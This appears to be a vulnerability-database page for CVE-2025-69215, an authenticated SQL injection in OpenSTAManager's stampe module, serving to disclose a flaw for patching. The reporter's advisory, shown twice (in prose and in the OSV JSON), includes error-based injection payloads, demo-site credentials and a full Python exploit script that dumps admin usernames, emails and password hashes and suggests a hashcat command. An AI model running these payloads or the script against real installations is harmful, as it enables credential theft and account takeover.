CVE-2025-69215: Devcode it/openstamanager SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-qx9p-w3vj-q24q
CWE-89
Published
Advisory Summary

CVE-2025-69215 is a HIGH sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Devcode it/openstamanager libraries in the Packagist ecosystem. The issue involves openstamanager has an sql injection in the stampe module. Remediation is available in the latest vendor maintenance releases.

CVE-2025-69215 at a Glance

CVE Identifier CVE-2025-69215
GHSA Identifier GHSA-qx9p-w3vj-q24q
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Devcode it/openstamanager
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2025-69215

To remediate this vulnerability, upgrade all affected Devcode it/openstamanager dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

devcode-it/openstamanager fixed: Latest secure release
Upgrade devcode-it/openstamanager to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for devcode-it/openstamanager

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-69215, inspect your project dependencies for Devcode it/openstamanager:

inspect dependencies for devcode-it/openstamanager

Analyze the terminal output to locate any version of Devcode it/openstamanager in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Devcode it/openstamanager, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Vulnerability Details ### Location - **File:** `modules/stampe/actions.php` - **Line:** 26 - **Vulnerable Code:** ```php case 'update': if (!empty(intval(post('predefined'))) && !empty(post('module'))) { $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module')); // ↑ Direct concatenation without prepare() sanitization } ``` ### Root Cause The `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection. **Vulnerable Pattern:** ```php // Line 25: intval() protects predefined, but module is not sanitized! if (!empty(intval(post('predefined'))) && !empty(post('module'))) { // Line 26: Direct concatenation - VULNERABLE $dbo->query('UPDATE ... WHERE `id_module` = '.post('module')); } ``` ## Exploitation ### Vulnerable Endpoint ``` POST /modules/stampe/actions.php ``` ### Required Parameters ``` op=update id_record=1 predefined=1 (must be non-zero after intval()) module=[INJECTION_PAYLOAD] title=Test filename=test.pdf ``` ### Authentication Requirement - Requires valid authenticated session (any user with access to Stampe module) - **VERIFIED:** Users with "Tecnici" group access can exploit (NOT admin-only!) - **PoC:** Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico ### Exploitation Type **Error-based SQL Injection** using MySQL's EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions ### Proof of Concept #### Method 1: EXTRACTVALUE (MySQL 5.1+) ```python POST /modules/stampe/actions.php Content-Type: application/x-www-form-urlencoded op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf ``` **Result:** <img width="2208" height="912" alt="image" src="https://github.com/user-attachments/assets/710595e8-5cfb-4392-87a5-0b567487af34" /> **Extracted Data:** MySQL version `8.3.0` --- #### Method 2: GTID_SUBSET (MySQL 5.6+) ```python module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1) ``` **Result:** <img width="2025" height="903" alt="image" src="https://github.com/user-attachments/assets/eb2b4210-5301-4b3c-81b0-495eaec27af8" /> **Extracted Data:** Database name `openstamanager` --- #### Method 3: UPDATEXML (MySQL 5.1+) ```python module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1) ``` **Result:** <img width="2027" height="897" alt="image" src="https://github.com/user-attachments/assets/a364951d-566b-4c86-9467-35352bd22c43" /> **Extracted Data:** Database user `demo_osm@web01.osmbusiness.it` --- ### Automated Exploitation **Full Exploit Script:** `exploit_stampe_sqli.py` ```python #!/usr/bin/env python3 """ SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php Usage: python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local """ import requests import re import argparse import sys from html import unescape from urllib.parse import urljoin class StampeSQLiExploit: def __init__(self, base_url, username, password, verbose=False): self.base_url = base_url.rstrip('/') self.username = username self.password = password self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' }) def login(self): """Authenticate with username and password""" login_url = urljoin(self.base_url, '/index.php') if self.verbose: print(f"[DEBUG] Attempting login to {login_url}") print(f"[DEBUG] Username: {self.username}") # First, get the login page to establish session resp = self.session.get(login_url) if self.verbose: print(f"[DEBUG] Initial GET status: {resp.status_code}") # Send login credentials with op=login parameter (required!) login_data = { 'username': self.username, 'password': self.password, 'op': 'login', # Required for OpenSTAManager } resp = self.session.post(login_url, data=login_data, allow_redirects=True) if self.verbose: print(f"[DEBUG] Login POST status: {resp.status_code}") print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}") # Check if login was successful if 'PHPSESSID' not in self.session.cookies: print("[-] Login failed: No session cookie received") return False # Check if we're redirected to dashboard or still on login page if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower(): print("[-] Login failed: Still on login page") if self.verbose: print(f"[DEBUG] Current URL: {resp.url}") return False print(f"[+] Successfully logged in as '{self.username}'") print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}") return True def inject(self, sql_query): """Execute SQL injection payload""" # Use UPDATEXML instead of EXTRACTVALUE (works better on demo) payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)" target_url = urljoin(self.base_url, '/modules/stampe/actions.php') if self.verbose: print(f"[DEBUG] Target: {target_url}") print(f"[DEBUG] Payload: {payload}") response = self.session.post( target_url, data={ "op": "update", "id_record": "1", "predefined": "1", "module": payload, "title": "Test", "filename": "test.pdf" } ) if self.verbose: print(f"[DEBUG] Response status: {response.status_code}") print(f"[DEBUG] Response length: {len(response.text)}") # Unescape HTML entities first response_text = unescape(response.text) # Pattern 1: XPATH syntax error with HTML entities or quotes # Matches: XPATH syntax error: '~data~' or &#039;~data~&#039; xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE) if xpath_match: result = xpath_match.group(1) if self.verbose: print(f"[DEBUG] Extracted via XPATH pattern: {result}") return result # Pattern 2: Look in HTML comments (demo puts errors in comments) # <!--...XPATH syntax error: '~data~'...--> comment_match = re.search(r"<!--.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?.*?-->", response_text, re.DOTALL | re.IGNORECASE) if comment_match: result = comment_match.group(1) if self.verbose: print(f"[DEBUG] Extracted from HTML comment: {result}") return result # Pattern 3: <code> tags codes = re.findall(r'<code>(.*?)</code>', response_text, re.DOTALL) for code in codes: clean = code.strip() if 'XPATH syntax error' in clean or 'SQLSTATE' in clean: match = re.search(r"~([^~]+)~", clean) if match: result = match.group(1) if self.verbose: print(f"[DEBUG] Extracted from <code>: {result}") return result # Pattern 4: PDOException error format (as shown in user's example) # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~' pdo_match = re.search(r"PDOException:.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE | re.DOTALL) if pdo_match: result = pdo_match.group(1) if self.verbose: print(f"[DEBUG] Extracted from PDOException: {result}") return result # Pattern 5: Generic ~...~ markers (last resort) markers = re.findall(r'~([^~]{1,100})~', response_text) if markers: if self.verbose: print(f"[DEBUG] Found generic markers: {markers}") # Filter out HTML/CSS junk for marker in markers: if marker and len(marker) > 2: # Skip common HTML patterns if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '<', '>']): if self.verbose: print(f"[DEBUG] Using marker: {marker}") return marker if self.verbose: print("[DEBUG] No data extracted from response") # Save response for debugging with open('/tmp/stampe_response_debug.html', 'w') as f: f.write(response.text) print("[DEBUG] Response saved to /tmp/stampe_response_debug.html") return None def dump_info(self): """Dump database information""" queries = [ ("Database Version", "VERSION()"), ("Database Name", "DATABASE()"), ("Current User", "USER()"), ("Admin Username", "SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1"), ("Admin Email", "SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1"), ("Admin Password Hash (1-30)", "SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"), ("Admin Password Hash (31-60)", "SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"), ("Total Users", "SELECT COUNT(*) FROM zz_users"), ("First Table", "SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1"), ] print("="*70) print(" EXPLOITING SQL INJECTION - DATA EXTRACTION") print("="*70) print() results = {} for desc, query in queries: print(f"[*] Extracting: {desc}") print(f" Query: {query}") result = self.inject(query) if result: print(f" βœ“ Result: {result}") results[desc] = result else: print(f" βœ— Failed to extract") print() return results def main(): parser = argparse.ArgumentParser( description='OpenSTAManager Stampe Module SQL Injection Exploit', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=''' Examples: # Exploit demo.osmbusiness.it with tecnico user python3 %(prog)s -u tecnico -p tecnicotecnico # Exploit demo with admin credentials python3 %(prog)s -u admin -p admin123 # Exploit custom installation with verbose output python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v ''' ) parser.add_argument('-u', '--username', required=True, help='Username for authentication') parser.add_argument('-p', '--password', required=True, help='Password for authentication') parser.add_argument('--url', default='https://demo.osmbusiness.it', help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output for debugging') args = parser.parse_args() print("β•”" + "="*68 + "β•—") print("β•‘ SQL Injection Exploit - OpenSTAManager Stampe Module β•‘") print("β•‘ CVE-PENDING | Authenticated Error-Based SQLi β•‘") print("β•š" + "="*68 + "╝") print() print(f"[*] Target: {args.url}") print(f"[*] Username: {args.username}") print() exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose) # Login first if not exploit.login(): print("\n[-] Authentication failed. Cannot proceed with exploitation.") print("[!] Please check:") print(" 1. Are the credentials correct?") print(" 2. Is the target URL accessible?") print(" 3. Is the user account active?") sys.exit(1) print() # Extract data results = exploit.dump_info() # Summary print("="*70) print(" EXTRACTION SUMMARY") print("="*70) print() if results: for key, value in results.items(): print(f" {key:.<40} {value}") # If we got admin password hash, combine it if "Admin Password Hash (1-30)" in results and "Admin Password Hash (31-60)" in results: full_hash = results["Admin Password Hash (1-30)"] + results["Admin Password Hash (31-60)"] print() print(" " + "="*66) print(f" Full Admin Password Hash: {full_hash}") print(" " + "="*66) print() print(" [!] Crack with hashcat:") print(f" hashcat -m 3200 '{full_hash}' wordlist.txt") else: print(" βœ— No data extracted") if not args.verbose: print("\n [!] Try running with -v flag for debugging information") if __name__ == "__main__": main() ``` ### Attribution Reported by Łukasz Rybak

CVE-2025-69215 Affected Devcode it/openstamanager Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
devcode-it/openstamanager
Packagist
≤ 2.9.8

References

Frequently Asked Questions

What is CVE-2025-69215?
CVE-2025-69215 is a security vulnerability in Devcode it/openstamanager involving OpenSTAManager has an SQL Injection in the Stampe Module under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Devcode it/openstamanager versions are affected?
Affected versions include releases prior to current release patches across affected packages: devcode-it/openstamanager.
What version fixes CVE-2025-69215?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is devcode-it/openstamanager affected?
Yes, devcode-it/openstamanager is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2025-69215?
CVE-2025-69215 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2025-69215?
Run the dependency tree command: 'inspect dependencies for devcode-it/openstamanager'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qx9p-w3vj-q24q",
  "modified" : "2026-02-04T19:53:08Z",
  "published" : "2026-02-03T19:01:46Z",
  "aliases" : [ "CVE-2025-69215" ],
  "summary" : "OpenSTAManager has an SQL Injection in the Stampe Module",
  "details" : "## Vulnerability Details\n\n### Location\n- **File:** `modules/stampe/actions.php`\n- **Line:** 26\n- **Vulnerable Code:**\n```php\ncase 'update':\n    if (!empty(intval(post('predefined'))) && !empty(post('module'))) {\n        $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));\n        // ↑ Direct concatenation without prepare() sanitization\n    }\n```\n\n### Root Cause\n\nThe `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection.\n\n**Vulnerable Pattern:**\n```php\n// Line 25: intval() protects predefined, but module is not sanitized!\nif (!empty(intval(post('predefined'))) && !empty(post('module'))) {\n    // Line 26: Direct concatenation - VULNERABLE\n    $dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));\n}\n```\n\n## Exploitation\n### Vulnerable Endpoint\n```\nPOST /modules/stampe/actions.php\n```\n\n### Required Parameters\n```\nop=update\nid_record=1\npredefined=1 (must be non-zero after intval())\nmodule=[INJECTION_PAYLOAD]\ntitle=Test\nfilename=test.pdf\n```\n\n### Authentication Requirement\n- Requires valid authenticated session (any user with access to Stampe module)\n- **VERIFIED:** Users with \"Tecnici\" group access can exploit (NOT admin-only!)\n- **PoC:** Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico\n\n### Exploitation Type\n**Error-based SQL Injection** using MySQL's EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions\n\n### Proof of Concept\n\n#### Method 1: EXTRACTVALUE (MySQL 5.1+)\n```python\nPOST /modules/stampe/actions.php\nContent-Type: application/x-www-form-urlencoded\n\nop=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf\n```\n\n**Result:**\n\n<img width=\"2208\" height=\"912\" alt=\"image\" src=\"https://github.com/user-attachments/assets/710595e8-5cfb-4392-87a5-0b567487af34\" />\n\n**Extracted Data:** MySQL version `8.3.0`\n\n---\n\n#### Method 2: GTID_SUBSET (MySQL 5.6+)\n```python\nmodule=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)\n```\n\n**Result:**\n\n<img width=\"2025\" height=\"903\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb2b4210-5301-4b3c-81b0-495eaec27af8\" />\n\n\n**Extracted Data:** Database name `openstamanager`\n\n---\n\n#### Method 3: UPDATEXML (MySQL 5.1+)\n```python\nmodule=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)\n```\n\n**Result:**\n\n<img width=\"2027\" height=\"897\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a364951d-566b-4c86-9467-35352bd22c43\" />\n\n**Extracted Data:** Database user `demo_osm@web01.osmbusiness.it`\n\n---\n\n### Automated Exploitation\n\n**Full Exploit Script:** `exploit_stampe_sqli.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nSQL Injection Exploit - OpenSTAManager modules/stampe/actions.php\n\nUsage:\n    python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico\n    python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local\n\"\"\"\n\nimport requests\nimport re\nimport argparse\nimport sys\nfrom html import unescape\nfrom urllib.parse import urljoin\n\nclass StampeSQLiExploit:\n    def __init__(self, base_url, username, password, verbose=False):\n        self.base_url = base_url.rstrip('/')\n        self.username = username\n        self.password = password\n        self.verbose = verbose\n        self.session = requests.Session()\n        self.session.headers.update({\n            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'\n        })\n\n    def login(self):\n        \"\"\"Authenticate with username and password\"\"\"\n        login_url = urljoin(self.base_url, '/index.php')\n\n        if self.verbose:\n            print(f\"[DEBUG] Attempting login to {login_url}\")\n            print(f\"[DEBUG] Username: {self.username}\")\n\n        # First, get the login page to establish session\n        resp = self.session.get(login_url)\n        if self.verbose:\n            print(f\"[DEBUG] Initial GET status: {resp.status_code}\")\n\n        # Send login credentials with op=login parameter (required!)\n        login_data = {\n            'username': self.username,\n            'password': self.password,\n            'op': 'login',  # Required for OpenSTAManager\n        }\n\n        resp = self.session.post(login_url, data=login_data, allow_redirects=True)\n\n        if self.verbose:\n            print(f\"[DEBUG] Login POST status: {resp.status_code}\")\n            print(f\"[DEBUG] Cookies: {self.session.cookies.get_dict()}\")\n\n        # Check if login was successful\n        if 'PHPSESSID' not in self.session.cookies:\n            print(\"[-] Login failed: No session cookie received\")\n            return False\n\n        # Check if we're redirected to dashboard or still on login page\n        if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():\n            print(\"[-] Login failed: Still on login page\")\n            if self.verbose:\n                print(f\"[DEBUG] Current URL: {resp.url}\")\n            return False\n\n        print(f\"[+] Successfully logged in as '{self.username}'\")\n        print(f\"[+] Session: {self.session.cookies.get('PHPSESSID')}\")\n        return True\n\n    def inject(self, sql_query):\n        \"\"\"Execute SQL injection payload\"\"\"\n        # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)\n        payload = f\"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)\"\n\n        target_url = urljoin(self.base_url, '/modules/stampe/actions.php')\n\n        if self.verbose:\n            print(f\"[DEBUG] Target: {target_url}\")\n            print(f\"[DEBUG] Payload: {payload}\")\n\n        response = self.session.post(\n            target_url,\n            data={\n                \"op\": \"update\",\n                \"id_record\": \"1\",\n                \"predefined\": \"1\",\n                \"module\": payload,\n                \"title\": \"Test\",\n                \"filename\": \"test.pdf\"\n            }\n        )\n\n        if self.verbose:\n            print(f\"[DEBUG] Response status: {response.status_code}\")\n            print(f\"[DEBUG] Response length: {len(response.text)}\")\n\n        # Unescape HTML entities first\n        response_text = unescape(response.text)\n\n        # Pattern 1: XPATH syntax error with HTML entities or quotes\n        # Matches: XPATH syntax error: '~data~' or &#039;~data~&#039;\n        xpath_match = re.search(r\"XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?\", response_text, re.IGNORECASE)\n        if xpath_match:\n            result = xpath_match.group(1)\n            if self.verbose:\n                print(f\"[DEBUG] Extracted via XPATH pattern: {result}\")\n            return result\n\n        # Pattern 2: Look in HTML comments (demo puts errors in comments)\n        # <!--...XPATH syntax error: '~data~'...-->\n        comment_match = re.search(r\"<!--.*?XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?.*?-->\", response_text, re.DOTALL | re.IGNORECASE)\n        if comment_match:\n            result = comment_match.group(1)\n            if self.verbose:\n                print(f\"[DEBUG] Extracted from HTML comment: {result}\")\n            return result\n\n        # Pattern 3: <code> tags\n        codes = re.findall(r'<code>(.*?)</code>', response_text, re.DOTALL)\n        for code in codes:\n            clean = code.strip()\n            if 'XPATH syntax error' in clean or 'SQLSTATE' in clean:\n                match = re.search(r\"~([^~]+)~\", clean)\n                if match:\n                    result = match.group(1)\n                    if self.verbose:\n                        print(f\"[DEBUG] Extracted from <code>: {result}\")\n                    return result\n\n        # Pattern 4: PDOException error format (as shown in user's example)\n        # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~'\n        pdo_match = re.search(r\"PDOException:.*?XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?\", response_text, re.IGNORECASE | re.DOTALL)\n        if pdo_match:\n            result = pdo_match.group(1)\n            if self.verbose:\n                print(f\"[DEBUG] Extracted from PDOException: {result}\")\n            return result\n\n        # Pattern 5: Generic ~...~ markers (last resort)\n        markers = re.findall(r'~([^~]{1,100})~', response_text)\n        if markers:\n            if self.verbose:\n                print(f\"[DEBUG] Found generic markers: {markers}\")\n            # Filter out HTML/CSS junk\n            for marker in markers:\n                if marker and len(marker) > 2:\n                    # Skip common HTML patterns\n                    if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '<', '>']):\n                        if self.verbose:\n                            print(f\"[DEBUG] Using marker: {marker}\")\n                        return marker\n\n        if self.verbose:\n            print(\"[DEBUG] No data extracted from response\")\n            # Save response for debugging\n            with open('/tmp/stampe_response_debug.html', 'w') as f:\n                f.write(response.text)\n            print(\"[DEBUG] Response saved to /tmp/stampe_response_debug.html\")\n\n        return None\n\n    def dump_info(self):\n        \"\"\"Dump database information\"\"\"\n        queries = [\n            (\"Database Version\", \"VERSION()\"),\n            (\"Database Name\", \"DATABASE()\"),\n            (\"Current User\", \"USER()\"),\n            (\"Admin Username\", \"SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Admin Email\", \"SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Admin Password Hash (1-30)\", \"SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Admin Password Hash (31-60)\", \"SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Total Users\", \"SELECT COUNT(*) FROM zz_users\"),\n            (\"First Table\", \"SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1\"),\n        ]\n\n        print(\"=\"*70)\n        print(\" EXPLOITING SQL INJECTION - DATA EXTRACTION\")\n        print(\"=\"*70)\n        print()\n\n        results = {}\n        for desc, query in queries:\n            print(f\"[*] Extracting: {desc}\")\n            print(f\"    Query: {query}\")\n            result = self.inject(query)\n            if result:\n                print(f\"    βœ“ Result: {result}\")\n                results[desc] = result\n            else:\n                print(f\"    βœ— Failed to extract\")\n            print()\n\n        return results\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description='OpenSTAManager Stampe Module SQL Injection Exploit',\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog='''\nExamples:\n  # Exploit demo.osmbusiness.it with tecnico user\n  python3 %(prog)s -u tecnico -p tecnicotecnico\n\n  # Exploit demo with admin credentials\n  python3 %(prog)s -u admin -p admin123\n\n  # Exploit custom installation with verbose output\n  python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v\n        '''\n    )\n\n    parser.add_argument('-u', '--username', required=True,\n                        help='Username for authentication')\n    parser.add_argument('-p', '--password', required=True,\n                        help='Password for authentication')\n    parser.add_argument('--url', default='https://demo.osmbusiness.it',\n                        help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)')\n    parser.add_argument('-v', '--verbose', action='store_true',\n                        help='Enable verbose output for debugging')\n\n    args = parser.parse_args()\n\n    print(\"β•”\" + \"=\"*68 + \"β•—\")\n    print(\"β•‘  SQL Injection Exploit - OpenSTAManager Stampe Module          β•‘\")\n    print(\"β•‘  CVE-PENDING | Authenticated Error-Based SQLi                 β•‘\")\n    print(\"β•š\" + \"=\"*68 + \"╝\")\n    print()\n    print(f\"[*] Target: {args.url}\")\n    print(f\"[*] Username: {args.username}\")\n    print()\n\n    exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)\n\n    # Login first\n    if not exploit.login():\n        print(\"\\n[-] Authentication failed. Cannot proceed with exploitation.\")\n        print(\"[!] Please check:\")\n        print(\"    1. Are the credentials correct?\")\n        print(\"    2. Is the target URL accessible?\")\n        print(\"    3. Is the user account active?\")\n        sys.exit(1)\n\n    print()\n\n    # Extract data\n    results = exploit.dump_info()\n\n    # Summary\n    print(\"=\"*70)\n    print(\" EXTRACTION SUMMARY\")\n    print(\"=\"*70)\n    print()\n\n    if results:\n        for key, value in results.items():\n            print(f\"  {key:.<40} {value}\")\n\n        # If we got admin password hash, combine it\n        if \"Admin Password Hash (1-30)\" in results and \"Admin Password Hash (31-60)\" in results:\n            full_hash = results[\"Admin Password Hash (1-30)\"] + results[\"Admin Password Hash (31-60)\"]\n            print()\n            print(\"  \" + \"=\"*66)\n            print(f\"  Full Admin Password Hash: {full_hash}\")\n            print(\"  \" + \"=\"*66)\n            print()\n            print(\"  [!] Crack with hashcat:\")\n            print(f\"      hashcat -m 3200 '{full_hash}' wordlist.txt\")\n    else:\n        print(\"  βœ— No data extracted\")\n        if not args.verbose:\n            print(\"\\n  [!] Try running with -v flag for debugging information\")\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\n### Attribution\nReported by Łukasz Rybak",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "devcode-it/openstamanager"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.9.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-69215"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/devcode-it/openstamanager"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-03T19:01:46Z",
    "nvd_published_at" : "2026-02-04T18:16:07Z"
  }
}